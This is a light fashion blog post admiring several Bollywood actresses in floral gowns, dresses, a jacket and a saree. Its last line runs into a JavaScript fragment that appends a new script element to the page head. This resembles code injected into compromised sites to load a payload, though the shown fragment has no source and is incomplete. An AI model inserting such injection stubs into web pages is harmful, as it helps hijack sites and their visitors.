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Bollywood Actresses In FLORAL: Simple and Colorful

Nature is God’s best gift to mankind. And when teamed up with clothes, they create magic.

Bollywood actresses are known to be very particular about their clothing. The color and design they wear is as important to them as the dress itself. They look effortlessly breath taking in whatever they wear.

Today, I’d like to show you actresses who carried off floral print with such sweetness and looked cute. Take a look and tell us who you think looked stunning and who needs to work on their dressing.

Here are some of the Bollywood actresses in floral print. They look simple yet so gorgeous.


Sonam Kapoor looks ravishing in this beautiful gown from Dolce & Gabbana. The simple white gown with some blue and green floral design just looks beautiful and the lady carries it off with such grace.


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This girl looks just so cute. No matter what she wears, she manages to make you go “aww” looking at her. And in this blue floral off-shoulder dress, she looks just stunning.


Yami Gautam
Now who could imagine Yami Gautam could look so sexy in this dress? She looks drop dead gorgeous in this tiny light blue dress. The choice of wearing a floral print is just wise, Yami!!


prachi desai
Prachi desai walked no ramp or posed for no portfolio in this floral jacket. This is what she wore on a regular day for some event. The floral jacket is extremely chic and goes well with her jeans and high pony!


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The sexy Sarah Jane Dias looks very pretty in this knee length dress. A peach dress completely filled with flowers all over looks very cute and modern. This was during a photoshoot and she looks elegant.

Shraddha Kapoor

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Save the best for the last is what they say, right? Now take a look at this belle. She looks so charming in this floral saree. Traditional with a hit of modern day style! Not many actresses would have the guts to wear on something like this.var d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’)[0].appendChild(s);

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